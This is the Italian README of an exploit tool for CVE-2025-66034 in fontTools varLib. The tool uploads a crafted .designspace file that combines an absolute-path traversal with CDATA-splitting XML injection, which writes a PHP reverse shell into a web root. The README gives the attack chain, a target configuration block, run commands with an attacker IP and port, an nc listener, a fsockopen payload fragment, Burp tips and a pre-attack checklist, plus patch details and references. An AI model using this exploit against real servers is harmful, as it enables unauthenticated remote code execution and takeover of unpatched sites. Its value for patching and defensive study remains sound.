
Exploit automatizzato per CVE-2025-66034, che combina path traversal e iniezione XML in fontTools varLib per ottenere l'esecuzione remota di codice senza autenticazione tramite il caricamento di un file .designspace appositamente creato.
fontTools varLib — Scrittura Arbitraria di File + Iniezione XML → Esecuzione Remota di Codice
CVE-2025-66034 è una vulnerabilità nella pipeline di generazione di font variabili fontTools.varLib. Quando un'applicazione web espone questa pipeline e accetta file .designspace forniti dall'utente, due debolezze si combinano per ottenere esecuzione remota di codice non autenticata.
font_varlib.py automatizza l'intera catena di sfruttamento: generazione del font, creazione del payload, upload e consegna della reverse shell.
L'attaccante crea un .designspace dannoso
│
├── <variable-font filename="/var/www/html/files/shell.php">
│ └── PATH TRAVERSAL
│ os.path.join(output_dir, absolute_path)
│ → output_dir scartata → scrittura nella web root
│
└── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
└── INIEZIONE XML
La separazione CDATA incorpora PHP grezzo
nel binario del font di output
│
▼
fontTools.varLib.main() elabora il file lato server
│
▼
shell.php scritto in una directory accessibile via web
│
▼
GET /files/shell.php → PHP esegue → callback reverse shell
│
▼
RCE come www-data
Python: 3.9+
Dipendenze:
pip install fonttools requests
Sistema:
nc (netcat) — richiesto per la modalità listener automatica (--no-listen lo salta)
git clone https://github.com/yourhandle/font_varlib
cd font_varlib
pip install fonttools requests
Prima di eseguire, apri font_varlib.py e aggiorna il blocco di configurazione all'inizio del file in base al tuo target. Ogni valore ha un commento inline che spiega cos'è e come trovare il valore corretto.
# ══════════════════════════════════════════════════════════════════════════════
# DEFAULTS
# Change these to match your target before running.
# All values can also be overridden at runtime via CLI flags — see --help.
# ══════════════════════════════════════════════════════════════════════════════
# Base URL of the upload host (the site that accepts the .designspace)
UPLOAD_HOST = "http://test.com"
# Path on the upload host that processes the multipart form POST
# Confirm with Burp — look for the POST after clicking the generate button
UPLOAD_ENDPOINT = "/tools/variable-font-generator/process"
# Absolute filesystem path on the server where output files are written
# Must be web-accessible so the shell can be triggered via HTTP
WEBROOT = "/var/www/test.com/public/files"
# Base URL used to fetch/trigger the written shell file
# Maps to WEBROOT on disk
SHELL_HOST = "http://testing.test.com/files"
# Multipart form field names — confirm with Burp before running
# If upload silently fails (HTTP 200 but no shell), wrong field names are the cause
FIELD_DESIGNSPACE = "designspace"
FIELD_MASTERS = "masters"
# Shell filename prefix — random suffix appended at runtime
SHELL_PREFIX = "f0nt_"
# Length of random suffix — longer = harder to guess
SHELL_SUFFIX_LEN = 8
Suggerimento: Intercetta una richiesta di upload legittima in Burp Suite per confermare
UPLOAD_ENDPOINTe i nomi esatti dei campi multipart prima di eseguire. Una mancata corrispondenza nei nomi dei campi causa un fallimento silenzioso: il server risponde con HTTP 200 ma non viene scritta alcuna shell.
python3 font_varlib.py --ip <ATTACKER_IP> --port <PORT>
# Terminale 1 — avvia il tuo listener
nc -lvnp 4444
# Terminale 2 — esegui l'exploit senza listener automatico
python3 font_varlib.py --ip <ATTACKER_IP> --port 4444 --no-listen
python3 font_varlib.py \
--ip 10.10.14.5 \
--port 4444 \
--upload http://target.htb/tools/variable-font-generator/process \
--webroot /var/www/html/files \
--shell http://target.htb/files
Due file sorgente .ttf minimi ma strutturalmente validi vengono generati programmaticamente usando fontTools.FontBuilder. varLib richiede almeno due master di asse per elaborare un font variabile: questi soddisfano il requisito senza bisogno di veri file font su disco.
Viene costruito un file XML .designspace dannoso che incorpora entrambe le primitive di attacco:
Primitiva 1 — Iniezione XML tramite separazione CDATA:
<labelname xml:lang="en">
<![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
</labelname>
La sequenza ]]]]><![CDATA[> termina il blocco CDATA corrente e ne apre immediatamente uno nuovo. Il parser XML elabora questo come markup valido, ma varLib serializza il contenuto verbatim nel file di output — incorporando PHP grezzo nel binario del font.
Primitiva 2 — Path Traversal tramite attributo filename:
<variable-font name="MaliciousFont" filename="/var/www/html/files/shell.php">
varLib costruisce il percorso di output come:
output_path = os.path.join(output_dir, filename)
Quando filename è un percorso assoluto, os.path.join() di Python scarta completamente output_dir. Nelle versioni interessate non viene applicata alcuna sanificazione.
Il file .designspace e i due file .ttf vengono inviati come POST multipart all'endpoint di generazione font del target usando i nomi dei campi confermati da Burp.
Una GET HTTP al file .php scritto esegue la reverse shell, che si riconnette al listener nc dell'attaccante tramite fsockopen + proc_open — nessun curl, wget o Python richiesto sul target.
fontTools/varLib/__init__.py (versioni interessate):
filename = vf.filename # attacker-controlled, unsanitised
output_path = os.path.join(output_dir, filename) # path traversal via absolute path
vf.save(output_path) # arbitrary file write
Patch in 4.60.2 — impone os.path.basename() su filename prima di costruire output_path, eliminando tutte le sequenze di path traversal.
Prima di eseguire, conferma tutto quanto segue:
[ ] La versione di fonttools sul target è >= 4.33.0 e < 4.60.2
[ ] Il target accetta upload di file .designspace + .ttf
[ ] Il backend chiama fontTools.varLib.main() sul .designspace caricato
[ ] I nomi dei campi del form di upload confermati con Burp (designspace + masters)
[ ] WEBROOT è accessibile via web dall'esterno
[ ] WEBROOT è scrivibile dal processo web (www-data o equivalente)
[ ] SHELL_HOST (--shell) è raggiungibile dalla tua macchina
[ ] Il nome host del target è in /etc/hosts
| Ambiente | Versione fonttools | Risultato |
|---|---|---|
| Ubuntu 22.04 / Python 3.11 | 4.59.0 | ✓ Confermato |
Questo strumento è fornito solo per scopi educativi e di ricerca sulla sicurezza autorizzata.
Non utilizzarlo contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione scritta al test. L'autore non si assume alcuna responsabilità per un uso improprio o per eventuali danni causati da questo software.
| Campo | Dettaglio |
|---|
| ID CVE | CVE-2025-66034 |
| GHSA | GHSA-768j-98cg-p3fv |
| Pacchetto | fonttools (pip) |
| Intervallo interessato | >= 4.33.0, < 4.60.2 |
| Corretto in | 4.60.2 |
| Gravità | Moderata (CVSS 6.3) |
| Vettore di attacco | Locale (richiede upload di file sul target) |
| Privilegi richiesti | Nessuno |
| Interazione utente | Richiesta (trigger di upload) |
| # | Primitiva | CWE | Causa principale |
|---|
| 1 | Path Traversal | CWE-22 | L'attributo filename in .designspace viene passato direttamente a os.path.join() senza sanificazione — i percorsi assoluti scartano completamente la directory di output prevista |
| 2 | Iniezione XML | CWE-91 | Le sezioni CDATA <labelname> consentono a una sequenza di separazione (]]]]><![CDATA[>) di introdurre PHP grezzo oltre il parser XML nel file di output scritto |
| Argomento | Obbligatorio | Default | Descrizione |
|---|
--ip | ✓ | — | IP del listener dell'attaccante |
--port | ✓ | — | Porta del listener dell'attaccante |
--upload | UPLOAD_HOST + UPLOAD_ENDPOINT | Endpoint di upload (POST) | |
--webroot | WEBROOT | Percorso di scrittura filesystem lato server (deve essere accessibile via web) | |
--shell | SHELL_HOST | URL base per attivare la shell scritta | |
--no-listen | false | Salta il listener nc automatico — solo attivazione |
| Risorsa | Link |
|---|
| NVD — CVE-2025-66034 | https://nvd.nist.gov/vuln/detail/CVE-2025-66034 |
| Advisory di sicurezza fontTools | https://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fv |
| Commit della patch — a696d5b | https://github.com/fonttools/fonttools/commit/a696d5ba93270d5954f98e7cab5ddca8a02c1e32 |
| Progetto fontTools | https://github.com/fonttools/fonttools |